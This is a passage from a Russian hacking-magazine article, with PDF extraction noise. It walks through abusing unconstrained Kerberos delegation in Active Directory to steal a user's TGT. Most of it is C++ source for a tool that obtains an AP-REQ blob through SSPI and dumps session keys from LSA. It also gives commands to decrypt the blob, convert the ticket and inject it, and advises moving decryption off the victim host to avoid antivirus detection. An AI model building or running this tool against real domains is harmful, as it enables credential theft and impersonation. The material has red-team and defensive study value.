Причем­ тикет будет находиться­ внутри­ так называемо­ ­го аутентифика­ ­тора. Он позволя­ ­ет предот­ ­вра­тить возможность­ релей атаки­ на этап AP-REQ, так как аутентифика­ ­тор зашифрован­ сессион­ ­ным ключом­ , а также­ содержи­ т (в случае­ обычног­ о AP-REQ) имя принципала­ клиента­ и таймстемп­ . Если же служба­ настро­ ­ена с неограничен­ ­ным делегирова­ ­нием, то в запрос­ AP-REQ, который отправит­ ­ся службе­ , попадет не только­ таймстемп­ и имя принципала­ , но и FORWARDED TGT. Причем­ этот самый FORWARDED TGT будет лежать внутри­ аутентифика­ ­тора. Сессион­ ­ный ключ для шифрования­ аутентифика­ ­тора клиен­ т получае­ т в ответе­ TGS-REP, который идет до AP-REQ.

Таким­ образом­ , у атакующе­ ­го появляет­ ­ся возможность­ расшифро­ ­вать аутентифика­ ­тор из AP-REQ, а затем получить TGT-билет пользовате­ ­ля, который иницииро­ ­вал обращение­ к службе­ с неограничен­ ­ным делегирова­ ­ нием, ведь на руках у него будет зашифрован­ ­ный блоб и ключ для его дешиф ­ ровки.

ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ

Чтобы­ успешно получить TGT, нужно­ , чтобы­ выполнялись­ следующие­ требова­ ­ ния:

служба­ , к которой обращает­ ­ся клиент­ , настро­ ­ена на неограничен­ ­ное делегирова­ ­ние. Но здесь ничего страшного­ нет — все контрол­ ­леры домена настро­ ­ены с неограничен­ ­ным делегирова­ ­нием;

у нас есть возможность­ выполнить­ код от лица клиента­ .

Итоговый­ алгоритм­ достаточ­ но­ простой­ :

1.Обраща­ ­емся к службе­ с неограничен­ ­ным делегирова­ ­нием.

2.Получа­ ­ем сгенери­ ­рован­ный AP-REQ.

3.Извле­ ­каем сессион­ ­ный ключ для расшифров­ ­ки аутентифика­ ­тора.

4.Расшифро­ ­выва­ем аутентифика­ ­тор.

5.Извле­ ­каем TGT.

ОБНАРУЖЕНИЕ НУЖНОЙ СЛУЖБЫ

Итак, сначала­ создаем­ файл Header.h, в котором указыва­ ем­ все нужные­ заголовоч­ ные­ файлы­ , подгру­ жаемые­ либы, а также­ прототип­ одной единс ­ твенной­ функции­ .

#pragma once

#define SECURITY_WIN32

#include <windows.h>

#include <sspi.h>

#include <DsGetDC.h>

#include <NTSecAPI.h>

#include <iostream>

#include <locale.h>

#include <wincrypt.h>

#include <WinBase.h>

#define DEBUG

#pragma comment (lib, "Secur32.lib")

#pragma comment (lib, "NetApi32.lib")

#pragma comment(lib,"Crypt32.lib")

DWORD TgtDeleg(LPCWSTR);

Теперь­ стои­ т предус­ мотреть­ два варианта­ работы инстру­ мен­ та­ : в первом­ случае­ служба­ с неограничен­ ным­ делегирова­ нием­ будет обнаруже­ на­ авто ­ матичес­ ки­ (достаточ­ н­ о только­ имени­ домена), а во втором­ атакующий­ собс ­ твенноруч­ н­ о сможе­ т указать­ нужный­ SPN.

Получе­ ние­ сессион­ ног­ о ключа­ и AP-REQ через указание­ домена

Ручное­ указание­ SPN

Главная­ функция­ инстру­ мен­ та­ не очень большая­ . Сначала­ получаем­ список­ аргумен­ тов­ , причем­ проверя­ ем­ : если их не три, то атакующий­ указал­ что то не то, поэтому­ вызываем­ функцию­ , которая расска­ жет­ , как использовать­ инс ­ трумент­ .

int wmain(char argc, wchar_t* argv[]) {

setlocale(LC_ALL, "");

ShowAwesomeBanner();

if (argc != 3) {

ShowUsage();

}

....

}

void ShowUsage() {

std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe

1 cringe.lab" << std::endl;

std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\t

Ex: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;

exit(-1);

}

Информа­ ция­ об использовании­ инстру­ мен­ та­

Если­ же пользователь­ нигде­ не напортачил­ , то переходим­ к парсингу­ аргу ­ ментов­ . В первом­ случае­ , когда­ указыва­ ется­ только­ имя домена, вызывается­ функция­ GetDomainController().

LPCWSTR targetname = NULL;

switch (*argv[1]) {

case '1':

targetname = GetDomainController(argv[2]);

break;

...

Эта функция­ позволя­ ­ет получить DNS-имя контрол­ ­лера домена. Мы берем контрол­ ­лер домена потому, что на нем по умолчанию­ включено­ неограничен­ ­ ное делегирова­ ­ние. Получить имя можно­ с помощью функции­ DsGetDcName( ).

LPCWSTR GetDomainController(wchar_t*

domainName) {

PDOMAIN_CONTROLLER_INFO dcInfo =

NULL;

DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL,

DS_RETURN_DNS_NAME | DS_IP_REQUIRED,

&dcInfo);

if (err != ERROR_SUCCESS) {

 

std::wcout << L"[-] Cant Get

DC Name, try use 2 mode: " <<

err << std::endl;

 

exit(-1);

 

}

return dcInfo->DomainControllerName;

}

После­ получения­ имени­ убираем­ из него первые­ два символа­ слеша­ (так как функция­ вернула­ \\dc01, а нам нужн­ о просто­ dc01), а затем добавляем­

к полученному­ имени­ службу­ CIFS. В итоге­ у нас появляет­ ­ся валидный­ SPN на службу­ CIFS контрол­ ­лера домена.

targetname = removeLeadingCharacters(targetname);

#ifdef DEBUG

std::wcout << L"[+] Target: " << targetname << std::endl;

#endif

LPCWSTR SPN = addCIFS(targetname);

Функция­ removeLeadingCharacters просто­ чуть чуть смещае­ т указатель­ на полученну­ ю строку­ , чтобы­ первые­ два символа­ \\ как бы пропали­ .

LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {

LPCWSTR stringPtr = originalString;

if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {

stringPtr += 2;

}

return stringPtr;

}

А функция­ addCIFS() добавляе­ т строку­ CIFS/ к имени­ компьюте­ ра­ .

LPCWSTR addCIFS(LPCWSTR originalString) {

size_t originalSize = wcslen(originalString);

size_t cifsSize = 5;

size_t newSize = originalSize + cifsSize + 1;

LPWSTR newString = new WCHAR[newSize];

wcscpy_s(newString, newSize, L"CIFS/");

wcscat_s(newString, newSize, originalString);

return newString;

}

Есть и второй­ вариант­ — пользователь­ должен­ самостоятель­ но­ указать­ SPN. Здесь никаког­ о парсинга­ тогда­ не потребу­ ется­ . Сразу­ передаем­ полученный­ SPN в функци­ ю TgtDeleg(), в которой реализова­ на­ логика получения­ сес ­ сионног­ о ключа­ и блоба­ AP-REQ.

case '2':

if (TgtDeleg(argv[2]) == 0) {

std::wcout << L"[+] TgtDeleg Success" << std::endl;

return 0;

}

else {

std::wcout << L"[-] TgtDeleg Error" << std::endl;

return -1;

}

break;

default:

std::wcout << L"[-] No such mode" << std::endl;

ShowUsage();

return 0;

}

ПОДКЛЮЧЕНИЕ К СЛУЖБЕ

Перехо­ дим­ в сердце­ программы­ — в функци­ ю TgtDeleg(). Она принима­ ет­ один единствен­ ный­ аргумент­ — это SPN целевой службы­ . Затем начинается­ , как кто то очень интерес­ но­ выразился­ , «магия SSPI». В действи­ тель­ нос­ ти­ никакой магии нет. SSPI можно­ считать­ эдакой­ апишкой­ , через которую раз ­ работчики­ могут связывать­ ся­ с поставщи­ ками­ безопасности­ (Security Packages). Возможнос­ ти­ SSPI очень большие­ : шифрование­ , подпись­ , выстра­ ­ ивание­ контек­ ста­ . Именно­ функции­ SSPI позволя­ т нам сымитировать­ обра ­ щение к службе­ с неограничен­ ным­ делегирова­ нием­ .

Начнем­ с функции­ AcquireCredentialsHandle(). Она позволя­ ет­ получить хендл на собствен­ ные­ реквизиты­ для SSPI, а также­ указать­ протокол­ , на основе­ которог­ о будет выстра­ ивать­ ся­ контекст­ . Под реквизита­ ми­ понима ­ ется пара «логин:пароль», на основе­ которых пользователь­ может пройти­ аутентифика­ цию­ . Контекс­ т выстра­ ивать­ не придет­ ся­ — нам достаточ­ но­ будет один раз просто­ обратить­ ся­ к службе­ , а ОС уже самостоятель­ но­ пойдет­

к KDC, получит TGS и провери­ т флаг OK-AS-DELEGATE.

SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(

_In_

SEC_CHAR

*pszPrincipal,

_In_

SEC_CHAR

*pszPackage,

_In_

ULONG

fCredentialUse,

_In_

PLUID

pvLogonID,

_In_

PVOID

pAuthData,

_In_ SEC_GET_KEY_FN pGetKeyFn,

_In_

PVOID

pvGetKeyArgument,

_Out_ PCredHandle

phCredential,

_Out_ PTimeStamp

ptsExpiry

);

Отмечу­ самые основные параметры­ :

pszPrincipal — имя сущности­ , для которой мы получаем­ реквизиты­ . Никаких сущностей­ , ни живых, ни мертвых­ , у нас нет, поэтому­ указыва­ ­ем NULL, что позволя­ ­ет получить реквизиты­ для текущего­ потока;

pszPackage — какой поставщик­ безопасности­ использовать­ ;

fCredentialUse — для каких целей будут использованы­ реквизиты­ .

Указыва­ ем­ SECPKG_CRED_OUTBOUND, так как мы инициали­ зиру­ ем­ постро­ ение­ контек­ ста­ , а значит­ , должны­ отдавать­ свои данные­ службе­ . Если бы мы выс ­ тупали в качестве­ службы­ , то указыва­ ли­ бы SECPKG_CRED_INBOUND, то есть получали­ данные­ , которые отправи­ л клиент­ .

Параметр­ pAuthData — опциональ­ ная­ структура­ , в которую можно­ передать реквизиты­ , специфич­ ные­ для используемо­ го­ поставщи­ ка­ безопас ности. Например­ , если бы требова­ лось­ пройти­ аутентифика­ цию­ от лица ино ­ го пользовате­ ля­ , не от того, от которого­ запущен инстру­ мент­ , то мы бы использовали­ структуру­ SEC_WINNT_AUTH_IDENTITY.

typedef struct _SEC_WINNT_AUTH_IDENTITY_A {

unsigned char *User;

unsigned long UserLength;

unsigned char *Domain;

unsigned long DomainLength;

unsigned char *Password;

unsigned long PasswordLength;

unsigned long Flags;

} SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;

А инициали­ зиро­ вали­ бы ее вот так:

SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};

authIdentity.User = L"username";

authIdentity.UserLength = lstrlen(L"username");

authIdentity.Domain = L"office.local";

authIdentity.DomainLength = lstrlen(L"office.local");

authIdentity.Password = L"pass123";

authIdentity.PasswordLength = lstrlen(L"pass123");

authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки

юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI

Элемен­ т phCredential — указатель­ на структуру­ CredHandle для получения­ дескрип­ тора­ учетных­ данных­ .

Вызыва­ ем­ эту функцию­ , получаем­ хендл на свои реквизиты­ .

CredHandle hCredential;

TimeStamp tsExpiry;

SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)

MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL

, &hCredential, &tsExpiry);

if (status == SEC_E_OK) {

... // Все ОK

} else {

switch (status) {

case SEC_E_INSUFFICIENT_MEMORY:

std::wcout << L"[-] Not enough memory for current creds"

<< std::endl;

break;

case SEC_E_INTERNAL_ERROR:

std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status

<< L"L" << std::endl;

break;

case SEC_E_NO_CREDENTIALS:

std::wcout << L"[-] No Credentials Available" << std::

endl;

break;

case SEC_E_NOT_OWNER:

std::wcout << L"[-] U Dont Have Credentials" << std::endl

;

break;

case SEC_E_SECPKG_NOT_FOUND:

std::wcout << L"[-] Kerberos AP is not initialized" <<

std::endl;

break;

case SEC_E_UNKNOWN_CREDENTIALS:

std::wcout << L"[-] Credentials were not recognized" <<

std::endl;

break;

default:

std::wcout << L"[-] Unknown Err: 0x" << std::hex <<

status << L"L" << std::endl;

break;

}

}

return -1;

}

Если­ что то идет не так, то обрабаты­

ваем­

полученную­

ошибку­ . Про дебаг

SECURITY_STATUS написан­ о в статье

 

 

«Поставщик­

небезопас­ ности­

.

 

 

 

 

 

 

Как Windows раскры­ вае­ т пароль пользовате­

ля­ ».

 

 

 

 

 

 

Если­ же все хорошо, то переходим­

к взаимо­ дей­ ствию­

с целевой службой­ .

Для этог­ о используем­

функци­ ю InitializeSecurityContext().

 

SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(

 

 

 

 

 

 

 

 

 

[in, optional]

 

PCredHandle

 

 

phCredential,

 

 

[in, optional]

 

PCtxtHandle

 

 

phContext,

 

 

 

 

SEC_CHAR

 

 

*pszTargetName,

 

[in]

 

unsigned long

 

fContextReq,

 

 

[in]

 

unsigned long

 

Reserved1,

 

 

[in]

 

unsigned long

 

TargetDataRep,

 

 

[in, optional]

 

PSecBufferDesc

pInput,

 

 

[in]

 

unsigned long

 

Reserved2,

 

 

[in, out, optional]

PCtxtHandle

 

 

phNewContext,

 

 

[in, out, optional]

PSecBufferDesc

pOutput,

 

 

[out]

 

unsigned long

 

*pfContextAttr,

 

[out, optional]

 

PTimeStamp

 

 

ptsExpiry

 

 

);

Эта функция­ позволя­ е­ т обратить­ ся­ к целевой службе­ , чтобы­ начать выстра­ ­ ивание­ контек­ ста­ для безопасного­ взаимо­ дей­ ствия­ . Именно­ в этот момент KDC видит, что клиен­ т прише­ л к службе­ с неограничен­ ным­ делегирова­ нием­ , и отдае­ т TGS с флагом­ OK_AS_DELEGATE. Стои­ т обратить­ внимание­

на параметр pszTargetName — здесь указыва­ ­ем SPN службы­ с неограничен­ ­ ным делегирова­ ­нием. Затем проверя­ ­ем, успешен­ ли вызов функции­ , а также­ pfContextAttr. Если он содержи­ т значение­ ISC_REQ_DELEGATE, то все сра ­ ботало­ правиль­ н­ о и мы обратились­ к службе­ с неограничен­ ным­ делегирова­ ­ нием.

CtxtHandle newContext;

SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };

SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer

};

ULONG contextAttr;

TimeStamp expiry;

SECURITY_STATUS initSecurity = InitializeSecurityContextW(&

hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY |

ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL

, 0, &newContext, &output, &contextAttr, NULL);

if (initSecurity == SEC_E_OK || initSecurity ==

SEC_I_CONTINUE_NEEDED) {

std::wcout << L"[+] Initializing GSS-API" << std::endl;

if (contextAttr & ISC_REQ_DELEGATE) {

#ifdef DEBUG

std::wcout << L"[+] SPN Supports Unconstrained Deleg"

<< std::endl;

#endif

DWORD destSize;

...

Причем­ в параметре­ fContextReq указыва­ ем­ маску­

ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH.

Последние­ два параметра­ позволя­ т серверу­ , на который клиен­ т отправляет­ контекст­ , проводить­ олицет­ ­ворение этого­ самого клиента­ .

Затем­ приступа­ ем­ к получени­ ю блоба­ AP-REQ. Он будет находиться­ внут ­ ри параметра­ pvBuffer структуры­ SecBuffer. Ее мы передали­ внутри­ другой­ структуры­ SecBufferDesc параметром­ output в функцию­ InitializeSecurityContext(). Сами эти структуры­ нужны­ для того, чтобы­ SP мог вернуть­ данные­ , которые требуют­ ся­ для дальнейше­ го­ выстра­ ива­ ния­ контек­ ста­ . Разнооб­ разия­ ради предлагаю­ использовать­ функцию­ CryptBinaryToStringA() для кодирования­ блоба­ в Base64. Кодируем­ по той причине­ , что сам AP-REQ представ­ ляе­ т собой большой­ массив­ бинарных­ данных­ , коррек­ тное­ отображение­ которых невозможно­ .

DWORD destSize;

// Getting AS-REQ blob

BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.

pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |

CRYPT_STRING_NOCRLF, NULL, &destSize);

char* apreqbuf = (char*)malloc((SIZE_T)destSize);

if (apreqbuf == NULL) {

std::wcout << L"[-] Unable To allocate memory for AS-REQ b64

blob" << std::endl;

return -1;

}

else {

BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.

pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |

CRYPT_STRING_NOCRLF, apreqbuf, &destSize);

if (!base64) {

std::wcout << L"[-] Unable to Base64 Encode AP-REQ blob" <<

std::endl;

return -1;

}

else {

apreqdata = (BYTE*)secbufPointer.pvBuffer;

apreqsize = secbufPointer.cbBuffer;

...

В этом коде все чуточку­ проще­ . В функци­ ю кодирования­ в Base64 передаем­ буфер, содержащий­ блоб AP-REQ (secbufPointer.pvBuffer), его размер­ secbufPointer.cbBuffer, а в ответ получаем­ размер­ выходного­ буфера (destSize). Затем выделяем­ в памяти достаточ­ но­ места­ под выходной­ буфер и записываем­ туда блоб AP-REQ повторным­ вызовом функции­ кодирования­ данных­ .

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ

TGT DELEGATION В ACTIVE DIRECTORY

ПОЛУЧЕНИЕ СЕССИОННЫХ КЛЮЧЕЙ

Теперь­ у нас есть что расшифро­ вывать­ , но нечем. Нужно­ получить сессион­ ­ ный ключ. Он будет находиться­ также­ в пространс­ тве­ процес­ са­ lsass.exe, внутри­ AP Kerberos, поэтому­ для его дампа­ можно­ будет использовать­ стан ­

дартные­ функции­ LsaConnectUntrusted()

и LsaCallAuthenticationPackage(). Сессион­ ­ный ключ клиен­ т получил пос ­ ле успешног­ о вызова InitializeSecurityContext() в ответе­ KDC пакетом TGS-REP. Сначала­ просто­ подклю­ ­чаем­ся к LSA.

HANDLE lsaHandle;

LSA_STRING kerbPackage;

kerbPackage.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;

kerbPackage.Length = (USHORT)lstrlenA(kerbPackage.Buffer);

kerbPackage.MaximumLength = kerbPackage.Length + 1;

ULONG authpackageId;

NTSTATUS connection = LsaConnectUntrusted(&lsaHandle);

if (connection == statusSuccess) {

#ifdef DEBUG

std::wcout << L"[+] Connection to LSA Success" << std::endl;

#endif

...

Нам достаточ­ н­ о и обычного­ хендла­ на LSA. Нет смысла­ дергать­ LsaRegisterLogonProcess() для дампа­ сессион­ ных­ ключей­ , ведь они дол ­ жны быть доступны­ любому пользовате­ ­лю, даже низкопри­ ­виле­гиро­ван­ному (иначе­ как бы он шифрова­ л пакеты Kerberos?). Затем я столкнул­ ­ся с интерес­ ­ ной проблемой­ : у тикета есть три вида шифрования­ — RC4, AES-128, AES256. А нам никак не узнать, тикет с какой криптогра­ ­фией сейчас­ лежит в прог ­ рамме, поэтому­ придет­ ­ся три раза обращать­ ­ся к AP Kerberos для поиска­ нуж ­ ного ключа­ . Обращение­ я вынес в отдельну­ ю функцию­ GetSessionKeys().

NTSTATUS LookupPckg = LsaLookupAuthenticationPackage(lsaHandle, &

kerbPackage, &authpackageId);

if (LookupPckg == statusSuccess) {

#ifdef DEBUG

std::wcout << L"[+] Kerberos AP: " << authpackageId << std::endl;

#endif

std::wcout << L"[+] Trying RC4" << std::endl;

NTSTATUS sessKey = GetSessionKeys(lsaHandle, authpackageId, 23,

spn, destSize);

if (sessKey == 0xC0000034) {

std::wcout << L"\t[-] No such keys" << std::endl;

std::wcout << L"[+] Trying AES128" << std::endl;

sessKey = GetSessionKeys(lsaHandle, authpackageId, 17, spn,

destSize);

if (sessKey == 0xC0000034) {

std::wcout << L"\t[-] No such keys" << std::endl;

std::wcout << L"[+] Trying AES256" << std::endl;

sessKey = GetSessionKeys(lsaHandle, authpackageId, 18,

spn, destSize);

if (sessKey != 0) {

std::wcout << L"[-] Error getting AES256 session

Keys" << std::endl;

return -1;

}

else {

std::wcout << "[+] Session Key: " << sessionKeyGet <<

std::endl;

std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl

;

return 0;

}

}

else if (sessKey == -1) {

std::wcout << L"[-] Error getting AES128 session Keys" <<

std::endl;

return -1;

}

else {

std::wcout << "[+] Session Key: " << sessionKeyGet << std

::endl;

std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;

return 0;

}

}

else if (sessKey == -1) {

std::wcout << L"[-] Error getting RC4 session Keys" << std::

endl;

return -1;

}

else {

std::wcout << "[+] Session Key: " << sessionKeyGet << std::

endl;

std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;

return 0;

}

}

Сначала­ просто­ получаем­ идентифика­ тор­ AP Kerberos, затем пытаемся­ получить сессион­ ные­ ключи­ для тикета с шифровани­ ем­ RC4. Если таких клю ­ чей нет, нам выдадут ошибку­ 0xC0000034, которая функци­ ей­

LsaNtStatusToWinError() преобра­ зует­ ся­ в 0x2, что означает­

ERROR_FILE_NOT_FOUND (файлом­ , видимо, винда­ называе­ т сессион­ ­ный ключ). Если же что то ломается­ , то прилета­ ­ет -1. Если все окей, то ключ был успешно сдамплен­ , выводим AP-REQ и сам ключик­ . Ровно­ такой же алгоритм­ повторя­ ­ем и для AES-128, и для AES-256.

Функция­ GetSessionKeys() запрашива­ е­ т из AP Kerberos сессион­ ные­ клю ­

чи, передавая­ структуру­ KERB_RETRIEVE_TKT_REQUEST.

typedef struct _KERB_RETRIEVE_TKT_REQUEST {

KERB_PROTOCOL_MESSAGE_TYPE

MessageType;

LUID

 

LogonId;

UNICODE_STRING

TargetName;

ULONG

 

TicketFlags;

ULONG

 

CacheOptions;

LONG

 

EncryptionType;

SecHandle

 

CredentialsHandle;

} KERB_RETRIEVE_TKT_REQUEST,

*PKERB_RETRIEVE_TKT_REQUEST;

В качестве­

MessageType указыва­

ем­ KerbRetrieveEncodedTicketMessage,

а в CacheOptions KERB_RETRIEVE_TICKET_USE_CACHE_ONLY, что позволит­ сдампить­ сессион­ ­ные ключи­ . Сама функция­ GetSessionKeys() принима­ ет­ хендл на LSA, ID AP Kerberos, тип шифрования­ (23 — RC4, 17 — AES-128, 18 — AES-256), целевой SPN, а также­ размер­ буфера.

NTSTATUS GetSessionKeys(HANDLE lsaHandle, ULONG authpackageId, LONG

EncryptionType, LPCWSTR spn, DWORD destSize) {

PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL;

PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;

ULONG bufferLength;

ULONG returnLength;

NTSTATUS packageStatus = 0;

int spnSize = lstrlenW(spn);

USHORT newSpnSize = ((USHORT)lstrlenW((LPCWSTR)spn) + 1) * sizeof

(wchar_t);

bufferLength = sizeof(KERB_RETRIEVE_TKT_REQUEST) + newSpnSize;

retrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR,

bufferLength);

if (retrieveRequest != NULL) {

retrieveRequest->MessageType =

KerbRetrieveEncodedTicketMessage;

retrieveRequest->CacheOptions =

KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;

retrieveRequest->EncryptionType = EncryptionType;

retrieveRequest->TargetName.Length = newSpnSize - sizeof(

wchar_t);

retrieveRequest->TargetName.MaximumLength = newSpnSize;

retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)

retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

RtlMoveMemory(retrieveRequest->TargetName.Buffer, spn,

retrieveRequest->TargetName.MaximumLength);

NTSTATUS callauthPkg = LsaCallAuthenticationPackage(lsaHandle

, authpackageId, (PVOID)retrieveRequest, bufferLength, (PVOID*)&

retrieveResponse, &returnLength, &packageStatus);

if (callauthPkg == statusSuccess) {

#ifdef DEBUG

std::wcout << L"\t[+] Calling AP Kerberos Success" << std

::endl;

#endif

if (packageStatus == statusSuccess) {

std::wcout << L"\t[+] Successfully getted Kerberos

keys with these encryption" << std::endl;

PVOID sessionkeynob64 = (PVOID)malloc((SIZE_T)

retrieveResponse->Ticket.SessionKey.Length);

if (sessionkeynob64 != NULL) {

// Copying Session Key

RtlMoveMemory(sessionkeynob64, retrieveResponse->

Ticket.SessionKey.Value, retrieveResponse->Ticket.SessionKey.Length);

BOOL base641 = CryptBinaryToStringA((CONST BYTE*)

sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length,

CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);

LPSTR sessionKey = (LPSTR)malloc((SIZE_T)destSize

);

if (sessionKey != NULL) {

BOOL base641 = CryptBinaryToStringA((CONST

BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.

Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, sessionKey, &

destSize);

if (base641) {

sessKkey = retrieveResponse->Ticket.

SessionKey.Value;

sessionKeyGet = sessionKey;

return 0;

}

else {

std::cout << "\t[-] Cant Get string of

session key: " << GetLastError() << std::endl;

return -1;

}

}

else {

std::cout << "\t[-] Cant LocalAlloc for

session key: " << GetLastError() << std::endl;

return -1;

}

}

else {

std::cout << "\t[-] Unable to allocate memory

for kerberos keys: " << GetLastError << std::endl;

LocalFree(retrieveRequest);

LsaFreeReturnBuffer((PVOID)retrieveResponse);

return -1;

}

}

else {

return packageStatus;

}

}

}

else {

DWORD Gle = GetLastError();

std::cout << "\t[-] Error LocalAlloc for

KERB_RETRIEVE_TKT_REQUEST: " << Gle << std::endl;

return -1;

}

}

Логика­ достаточ­ ­но простая­ : готовим структуру­ KERB_RETRIEVE_TKT_REQUEST, которую динамичес­ ­ки выделяем­ в памяти. Затем инициали­ ­зиру­ем все нужные­ элемен­ ­ты, отдельн­ о копируем­ SPN в имя целевой службы­ функци­ ­ей RtlMoveMemory(), иначе­ Kerberos не поймет­ , сессион­ ­ный ключ какого тикета нужн­ о сдампить­ , а затем проверя­ ­ем успешность вызова функции­ .

Если­ функция­ дернулась­ успешно, то копируем­ сессион­ ­ный ключ, а затем кодируем­ его в Base64, повторяя­ все те же операции­ , что и для блоба­ APREQ.

РАСШИФРОВКА AP-REQ

После­ получения­ AP-REQ и сессион­ ного­ ключа­ я принял­ решение не дек ­ риптить блоб на хосте­ . Инстру­ мен­ т будет выводить только­ сессион­ ный­ ключ в Base64 и сам AP-REQ, а расшифров­ ку­ сделаем­ на хосте­ атакующе­ го­ .

Сессион­ ный­ ключ и блоб AP-REQ

Такое­ решение я приня­ л неслучай­ но­ — для расшифров­ ки­ AP-REQ исполь ­ зуется­ недокумен­ тирован­ ный­ криптоин­ терфейс­ Windows, который легитим ­ ные программы­ не использу­ ют в принципе­ . Так или иначе­ , мы его изучим­ , но чуть позже­ , когда­ будем писать инстру­ мен­ т для запроса­ TGT и TGS на C++. Лишь вкратце­ отмечу­ , что для обнаруже­ ния­ и инициали­ зации­ всех методов этог­ о криптоин­ терфей­ са­ использует­ ся­ функция­ CDLocateCSystem(). Проб ­ лема в том, что при первом­ же гуглении­ ее имени­ мы натыкаемся­ на очень интерес­ ные­ статьи.

Подоз­ ритель­ ная­ функция­

Функция­ крайне­ подозритель­ ная­ , плюс, скорее­ всего­ , ее вызов отслежива­ ­ ется даже самыми простыми­ АВ. Поэтому­ , чтобы­ сохранить­ чистоту­ инстру­ ­ мента­ , предлага­ ю перенести­ расшифров­ ку­ на компьютер­ атакующе­ го­ .

Если­ тебе интерес­ но­ посмотреть­ , как эту рас ­ шифровку­ реализуе­ т Kekeo или Rubeus, то вот

ссылки­ на код:

 

 

•Kekeo:

файлы­

kuhl_m_tgt

и kull_m_kerberos_asn1_crypto.c;

 

•Rubeus: файл Crypto.cs.

 

Для расшифров­ ки­ AP-REQ и извлечения­ TGT из него можно­ использовать­ скрипт tgtParse.py.

python tgtParse.py --etype <тип шифрования> --sessionkey <сессионный

ключ> --apreq <ap req блоб>

Получе­ ние­ тикета ccache

Затем­ в текущей директории­ появится­ тикет .ccache, который можн­ о пре ­ образовать­ в форма­ т .kirbi с помощью ticketConverter.py.

Извле­ чен­ ный­ тикет

python ticketConverter.py Администратор.ccache admin.kirbi

Успешное­ преобра­ зова­ ние­ тикета

Тике­ т в текущей директории­

Наконец­ , инжектим тикет с помощью инстру­ мен­ та­ на PowerShell.

.\injector.ps1 2 "doi..."

Успешный­ инжект тикета

ВЫВОДЫ

Функции­ делегирова­ ния­ в Active Directory предос­ тавля­ ю­ т множес­ тво­ необыч ­ ных и недокумен­ тирован­ ных­ возможнос­ тей­ , эксплу­ ата­ ция­ которых очень сильн­ о упрощае­ т жизнь атакующе­ му­ . А если этот атакующий­ еще и умее­ т все написать c нуля, разобрать­ ся­ в атаке­ , обойти­ защитные­ средства­ , то он в шаге от превращения­ в настояще­ го­ редтимера­ ! Полный­ код проекта­ ты можешь отыскать­ на GitHub.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

